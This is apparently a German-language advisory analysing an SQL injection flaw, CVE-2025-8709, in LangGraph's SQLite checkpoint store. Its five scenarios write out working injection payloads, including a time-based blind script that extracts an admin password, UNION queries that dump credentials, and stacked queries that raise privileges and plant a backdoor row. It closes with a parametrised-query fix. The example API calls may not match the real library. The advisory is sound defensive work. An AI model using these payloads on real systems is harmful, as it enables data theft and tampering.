LangGraph SQLite Checkpoint Store SQL Injection-Sicherheitslücke Analyse
Zusammenfassung
CVE-2025-8709 ist eine kritische SQL Injection-Sicherheitslücke, die im LangGraph SQLite Checkpoint Store des langchain-ai/langchain Repositorys entdeckt wurde. Diese Schwachstelle ermöglicht es Angreifern, auf sensible Datenbankinformationen zuzugreifen, die Datenintegrität zu beeinträchtigen und unbefugte Transaktionen durchzuführen.
Technische Details
Betroffene Version
- langgraph-checkpoint-sqlite 2.0.10
Ursprung der Schwachstelle
Die Sicherheitslücke entsteht durch die unzureichende Sanitisierung von Filteroperatoren ($eq, $ne, $gt, $lt, $gte, $lte), die direkt in SQL-Abfragen eingefügt werden, ohne angemessene Input-Validierung.
Mechanismus der Sicherheitslücke
Vom Benutzer bereitgestellte Filterparameter werden ohne ausreichende Validierung und ohne Verwendung parametrisierter Abfragen direkt in SQL-Anweisungen eingefügt:
# Unsicheres Code-Beispiel
def list_checkpoints(self, filter_dict=None):
query = "SELECT * FROM checkpoints WHERE 1=1"
if filter_dict:
for key, value in filter_dict.items():
# Benutzergesteuerte Daten werden direkt in die Abfrage eingefügt
query += f" AND {key} = '{value}'"
Szenario 1: Grundlegender SQL Injection-Angriff
Szenario:
Ein Entwickler verwendet Benutzereingaben zum Filtern von LangGraph Checkpoints:
from langgraph.checkpoint.sqlite import SQLiteSaver
checkpoint_store = SQLiteSaver("checkpoints.db")
# Angreifer-kontrollierter Filter
malicious_filter = {
"thread_id": "1' OR '1'='1' --"
}
# SQL Injection wird ausgelöst
results = checkpoint_store.list_checkpoints(malicious_filter)
Erzeugte SQL-Abfrage:
SELECT * FROM checkpoints WHERE thread_id = '1' OR '1'='1' --'
Auswirkungen:
- Zugriff auf alle Checkpoint-Datensätze
- Offenlegung sensibler Konfigurationsinformationen
- Übernahme von Benutzer-Sessions
Szenario 2: UNION-basiertes Datenauslesen
Szenario:
Ein Angreifer erkundet das Datenbankschema mittels UNION-basiertem Angriff:
advanced_filter = {
"metadata": "x' UNION SELECT sql FROM sqlite_master WHERE type='table' --"
}
checkpoints = checkpoint_store.list_checkpoints(advanced_filter)
Erzeugte Abfrage:
SELECT * FROM checkpoints WHERE metadata = 'x'
UNION SELECT sql FROM sqlite_master WHERE type='table' --'
Entdeckte Informationen:
- Gesamte Datenbanktabellen-Strukturen
- Benutzertabellen und Schemata
- Andere sensible Systemtabellen
Szenario 3: Unbefugter Zugriff via Blind SQL Injection
Szenario:
Ein Angreifer extrahiert sensible Daten mittels zeitbasierter Blind SQL Injection:
import time
def extract_admin_password():
password_chars = "abcdefghijklmnopqrstuvwxyz0123456789"
extracted_password = ""
for position in range(1, 20):
for char in password_chars:
payload = {
"thread_id": f"1' AND CASE WHEN (SELECT substr(password,{position},1) FROM users WHERE username='admin')='{char}' THEN randomblob(100000000) ELSE 1 END --"
}
start_time = time.time()
checkpoint_store.list_checkpoints(payload)
elapsed_time = time.time() - start_time
if elapsed_time > 2: # Zeitverzögerungserkennung
extracted_password += char
break
return extracted_password
Szenario 4: Geschäftslogik-Manipulation
Szenario:
Ein Angreifer manipuliert Checkpoint-Metadaten, um das Verhalten des KI-Agents zu ändern:
malicious_metadata = {
"agent_state": "normal'; UPDATE checkpoints SET metadata = json_set(metadata, '$.permissions', 'admin') WHERE thread_id = 'victim_thread' --"
}
checkpoint_store.update_checkpoint(
thread_id="attack_thread",
checkpoint_data=malicious_metadata
)
Auswirkungen:
- Erhöhung der Agent-Berechtigungsebenen
- Umgehung der Geschäftslogik
- Manipulation finanzieller Transaktionen
Szenario 5: Mehrstufige Angriffskette
Szenario:
Echtwelt-Angriffsszenario:
# 1. Schritt: Datenbankschema erkunden
schema_payload = {"config": "x' UNION SELECT name FROM sqlite_master WHERE type='table' --"}
tables = checkpoint_store.list_checkpoints(schema_payload)
# 2. Schritt: Benutzerinformationen extrahieren
users_payload = {"state": "x' UNION SELECT email || ':' || password FROM users --"}
credentials = checkpoint_store.list_checkpoints(users_payload)
# 3. Schritt: Persistenz durch Erstellen neuer Checkpoints
backdoor_payload = {
"thread_id": "legitimate_id'; INSERT INTO checkpoints (thread_id, metadata) VALUES ('backdoor', '{\"malicious\": true}') --"
}
checkpoint_store.create_checkpoint(backdoor_payload)
Risikobewertung
Kritische Auswirkungen:
- ✅ Vollständiger Datenbankzugriff
- ✅ Offenlegung sensibler Daten
- ✅ Manipulation der Geschäftslogik
- ✅ Permanenter Systemzugang
- ✅ Ausbreitung auf andere Systemkomponenten
Betroffene Systeme:
- LangGraph-basierte KI-Anwendungen
- Produktionssysteme mit SQLite Checkpoints
- Mehrbenutzer-LangChain-Implementierungen
Lösungen und Vorübergehende Maßnahmen
Dringende Maßnahmen:
- Versionsupdate: Wechsel zur aktuellen LangGraph-Version
- Input Validation: Validierung aller Benutzereingaben
- Parametrisierte Abfragen: SQL Injection-Präventionstechniken
Beispiel für sichere Programmierung:
def safe_list_checkpoints(self, filter_dict=None):
query = "SELECT * FROM checkpoints WHERE 1=1"
params = []
if filter_dict:
for key, value in filter_dict.items():
# Nur erlaubte Felder zulassen
if key not in ALLOWED_FILTER_FIELDS:
continue
# Parametrisierte Abfrage verwenden
query += f" AND {key} = ?"
params.append(value)
return self.execute_query(query, params)
Fazit
CVE-2025-8709 stellt eine ernsthafte Sicherheitsbedrohung für das LangGraph-Ökosystem dar. SQL Injection-Schwachstellen sind besonders in KI/ML-Systemen kritisch, da diese Systeme typischerweise sensible Daten und komplexe Geschäftslogiken enthalten. Alle Entwickler sollten dringend Sicherheitsupdates implementieren und sichere Programmierprinzipien übernehmen.
Diese Sicherheitslücke unterstreicht erneut, dass traditionelle Web-Sicherheitsmaßnahmen auch in modernen KI-Anwendungen nicht vernachlässigt werden dürfen.